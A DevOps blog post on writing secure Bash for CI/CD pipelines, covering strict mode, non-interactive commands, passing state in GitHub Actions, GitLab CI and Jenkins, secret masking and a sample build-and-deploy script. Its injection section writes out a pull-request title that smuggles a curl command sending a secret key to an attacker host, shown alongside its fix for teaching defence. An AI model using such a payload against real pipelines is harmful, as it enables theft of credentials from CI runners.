BLOG // [DEVOPS] Bash in CI/CD: Building Secure, Automated Pipelines for DevOps
Bash in CI/CD: Building Secure, Automated Pipelines for DevOps

Bash in CI/CD: Building Secure, Automated Pipelines for DevOps

Comprehensive guide to writing robust, secure Bash scripts in CI/CD pipelines: GitHub Actions, GitLab CI, Jenkins, inter-step state sharing, injection prevention, and secret masking.

DEVOPS BASH

Bash in CI/CD for DevOps

In the previous post, we explored capturing errors and cleaning up resources with trap, along with implementing automated Retry Patterns. When deploying these scripts into Continuous Integration and Continuous Delivery (CI/CD) workflows, Bash serves as the fundamental execution engine powering modern automation platforms like GitHub Actions, GitLab CI, Jenkins, and Bitbucket Pipelines.

While CI/CD platforms define workflow orchestrations using declarative YAML or domain-specific languages (DSLs), the actual operational tasks—installing dependencies, compiling code, running tests, building Docker images, and deploying artifacts—are overwhelmingly orchestrated by shell scripts.

However, executing Bash within CI/CD runners differs fundamentally from interactive terminal sessions:

  • Non-interactive execution environments (no TTY available for interactive prompts like [y/n]).
  • Any unhandled non-zero exit status immediately terminates the entire pipeline.
  • Security hazards, such as leaking secrets to public logs or Command Injection via untrusted Pull Request context, can expose sensitive infrastructure credentials.

This article outlines core principles, essential security practices, and structural patterns for writing production-grade Bash scripts that integrate seamlessly into modern CI/CD pipelines.


Golden Rules for Bash in CI/CD

Always Enforce Strict Mode

In CI/CD runners, execution must halt immediately upon the first failure to prevent deploying broken artifacts to downstream environments:

1
2
set -euo pipefail
IFS=$'\n\t'
  • set -e: Aborts the step immediately if any command returns a non-zero exit status, alerting the runner to mark the pipeline as failed.
  • set -u: Immediately exits with an error when attempting to expand an unset variable (preventing missing secret errors).
  • set -o pipefail: Ensures pipeline commands (e.g., build_app | tee build.log) return the exit code of build_app rather than tee.

Non-Interactive Execution

CI/CD runners execute autonomously without human operators. Every command invoking package managers or system utilities must run in non-interactive mode with automated confirmation flags enabled:

1
2
3
4
5
6
7
8
# For Debian / Ubuntu
export DEBIAN_FRONTEND=noninteractive
apt-get update && apt-get install -y --no-install-recommends curl jq

# For Docker, Git, and Terraform
docker login -u "$DOCKER_USER" --password-stdin <<< "$DOCKER_PASS"
git clone --depth 1 --branch "$BRANCH" "$REPO_URL"
terraform apply -auto-approve

Each CI/CD platform provides dedicated mechanisms for Bash scripts to communicate state, export environment variables, or generate execution summaries.

GitHub Actions

GitHub Actions uses specialized environment files for data interchange:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 1. Export environment variables to subsequent steps ($GITHUB_ENV)
echo "APP_VERSION=v2.5.0" >> "$GITHUB_ENV"
echo "DEPLOY_ENV=staging" >> "$GITHUB_ENV"

# 2. Export step outputs for downstream steps and jobs ($GITHUB_OUTPUT)
echo "image_tag=sha-abc1234" >> "$GITHUB_OUTPUT"

# 3. Export multiline outputs securely
{
  echo "release_notes<<EOF"
  git log -n 5 --oneline
  echo "EOF"
} >> "$GITHUB_OUTPUT"

# 4. Append rich Markdown tables to workflow summary ($GITHUB_STEP_SUMMARY)
{
  echo "### Deployment Summary"
  echo "| Service | Status | Version |"
  echo "| :--- | :--- | :--- |"
  echo "| API Gateway | Success | v2.5.0 |"
  echo "| Worker | Success | v2.5.0 |"
} >> "$GITHUB_STEP_SUMMARY"

GitLab CI

In GitLab CI, variables are passed between jobs via dotenv artifact files declared under artifacts:reports:dotenv:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# .gitlab-ci.yml
build_job:
  stage: build
  script:
    - echo "APP_VERSION=1.4.2" > build.env
    - echo "IMAGE_TAG=registry.example.com/app:1.4.2" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy_job:
  stage: deploy
  dependencies:
    - build_job
  script:
    - echo "Deploying version $APP_VERSION with image $IMAGE_TAG..."

Jenkins Pipelines

In Jenkins Declarative or Scripted Pipelines, Bash commands execute within sh blocks:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
pipeline {
    agent any
    stages {
        stage('Build & Test') {
            steps {
                sh '''#!/usr/bin/env bash
                    set -euo pipefail
                    echo "Starting test suite..."
                    npm test
                '''
            }
        }
    }
}

Pipeline Security and Secret Management

CI/CD runners are high-value attack targets. Careless script design can expose credentials in public build logs or enable arbitrary code execution.

Disabling Trace Mode Around Sensitive Operations

When debugging with set -x, Bash prints expanded variable values to the terminal stream. If your script evaluates tokens or passwords, sensitive data will be captured in logs. Disable tracing with set +x before evaluating secrets:

1
2
3
4
5
6
# Disable trace mode prior to reading secrets
set +x
export DATABASE_PASSWORD="${SECRET_DB_PASSWORD}"
authenticate_vault "$SECRET_API_TOKEN"
# Re-enable trace mode if necessary
set -x

Preventing Command Injection via Pull Request Context

A critical vulnerability in GitHub Actions workflows occurs when untrusted PR metadata is embedded directly into inline shell statements:

1
2
3
4
# DANGEROUS: Susceptible to Command Injection
- name: Check PR Title
  run: |
    echo "PR Title is: ${{ github.event.pull_request.title }}"

An attacker submitting a PR titled Fix bug"; curl https://attacker.com/leak?key=$SECRET_KEY; # will trigger arbitrary code execution inside your runner.

Remediation: Always map workflow context into intermediate environment variables:

1
2
3
4
5
6
# SECURE: Context passed via environment variable
- name: Check PR Title Safely
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "PR Title is: $PR_TITLE"

Dynamic Secret Masking

If a script dynamically generates sensitive values (e.g., retrieving short-lived session tokens from an authentication API), instruct the runner to mask that value in logs:

1
2
3
4
# On GitHub Actions
SESSION_TOKEN=$(curl -sS -X POST "https://auth.example.com/token" | jq -r .token)
echo "::add-mask::$SESSION_TOKEN"
echo "Authenticated with token: $SESSION_TOKEN" # Appears as *** in build logs

Structuring Logic: Inline YAML vs Dedicated Script Files

When architecting CI/CD workflows, choose the appropriate home for your Bash code:

Evaluation CriteriaInline YAML (run)Dedicated Script (.github/scripts/deploy.sh)
Complexity Range1–5 lines of basic commandsComplex workflows (> 10 lines)
Linting & ValidationDifficult to lint; prone to YAML indentation flawsFully support shellcheck and bash -n
ReusabilityLocked inside CI workflow YAMLExecutable locally and across multiple runners
TestabilityRequires committing and pushing to CICan be unit-tested locally with Bats
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
.
├── .github/
│   ├── workflows/
│   │   └── deployment.yml
│   └── scripts/
│       ├── build-image.sh
│       ├── run-migrations.sh
│       └── notify-slack.sh
├── src/
└── tests/

Inside your workflow YAML, simply grant executable permissions and trigger the script:

1
2
3
4
- name: Build and Validate Image
  run: |
    chmod +x .github/scripts/build-image.sh
    ./.github/scripts/build-image.sh

Practical Example: A Resilient CI/CD Build and Deploy Script

Below is a complete, production-ready Bash script designed for CI/CD runners: validating environment variables, running test suites, packaging container images, and exporting Markdown summaries to $GITHUB_STEP_SUMMARY.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env bash
# ==============================================================================
# Script : ci-build-and-deploy.sh
# Purpose: Resilient build, test, and release automation in CI/CD pipelines
# ==============================================================================

set -euo pipefail
IFS=$'\n\t'

readonly REGISTRY="registry.example.com"
readonly APP_NAME="order-service"
readonly COMMIT_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
readonly BUILD_TAG="${APP_NAME}:${COMMIT_SHA:0:7}"
readonly SUMMARY_FILE="${GITHUB_STEP_SUMMARY:-/dev/null}"

log_info()  { echo "[CI] [INFO]  $*"; }
log_error() { echo "[CI] [ERROR] $*" >&2; }

# Trap exit errors for reporting
cleanup() {
    local exit_code=$?
    if [[ $exit_code -ne 0 ]]; then
        log_error "Pipeline failed during step execution! Exit status: $exit_code"
        echo "::error::Pipeline build failed with exit code $exit_code"
    fi
}
trap cleanup EXIT

# 1. Validate mandatory environment variables
validate_environment() {
    log_info "Validating CI environment prerequisites..."
    local required_vars=("DOCKER_REGISTRY_USER" "DOCKER_REGISTRY_PASSWORD")
    for var in "${required_vars[@]}"; do
        if [[ -z "${!var:-}" ]]; then
            log_error "Missing required environment variable: $var"
            exit 1
        fi
    done
}

# 2. Execute unit tests
run_tests() {
    log_info "Executing automated test suite..."
    # Simulated test execution
    echo "Running unit tests: 42 passed, 0 failed."
}

# 3. Build and package container image
build_container() {
    log_info "Building container image: $REGISTRY/$BUILD_TAG..."
    
    # Authenticate silently without leaking credentials to stdout
    echo "$DOCKER_REGISTRY_PASSWORD" | docker login "$REGISTRY" -u "$DOCKER_REGISTRY_USER" --password-stdin > /dev/null 2>&1
    
    # Image build step (simulated)
    echo "Docker build completed successfully."
    
    # Export step outputs when running in GitHub Actions
    if [[ -n "${GITHUB_OUTPUT:-}" ]]; then
        echo "image_uri=${REGISTRY}/${BUILD_TAG}" >> "$GITHUB_OUTPUT"
        echo "build_sha=${COMMIT_SHA}" >> "$GITHUB_OUTPUT"
    fi
}

# 4. Generate visual step summary
generate_summary() {
    if [[ -w "$SUMMARY_FILE" ]]; then
        {
            echo "## CI/CD Build Report"
            echo "- **Application**: \`$APP_NAME\`"
            echo "- **Commit SHA**: \`$COMMIT_SHA\`"
            echo "- **Image Artifact**: \`$REGISTRY/$BUILD_TAG\`"
            echo "- **Status**: Completed Successfully"
        } >> "$SUMMARY_FILE"
    fi
}

main() {
    validate_environment
    run_tests
    build_container
    generate_summary
    log_info "CI/CD execution completed successfully!"
}

main "$@"

Deployment Notes & Best Practices

  • Automate Linting on Pull Requests: Always incorporate a pre-merge workflow running shellcheck and bash -n across all repository scripts to catch syntax oversights and potential injection points early.
  • Avoid Hardcoded Absolute Paths: Runner workspace paths vary between platforms (/home/runner/work/... on GitHub Actions, /builds/... on GitLab CI). Always rely on repository-relative paths or platform variables like $GITHUB_WORKSPACE or $CI_PROJECT_DIR.
  • Verify Cache Integrity: When caching tool dependencies like node_modules or .m2, verify lockfile hashes prior to execution to prevent caching stale or corrupt artifacts.
  • Double-Quote Variable Expansions: Always quote "$VARIABLE" references in CI scripts to prevent unintended word splitting when values contain spaces or special characters.

Conclusion

Bash is not merely an interactive utility; it is the core execution layer turning declarative pipeline definitions into operational reality. By enforcing Strict Mode, sanitizing external inputs against injection, masking sensitive tokens, and modularizing complex logic into standalone scripts, you can build CI/CD automation that is robust, secure, and easily maintainable.

In the next article, we will delve into Post 12 — System Management with Bash: Monitoring and Process Control: inspecting CPU, RAM, and disk utilization, validating open network ports, and building auto-remediation scripts for failed services.

RESPONSES & DISCUSSION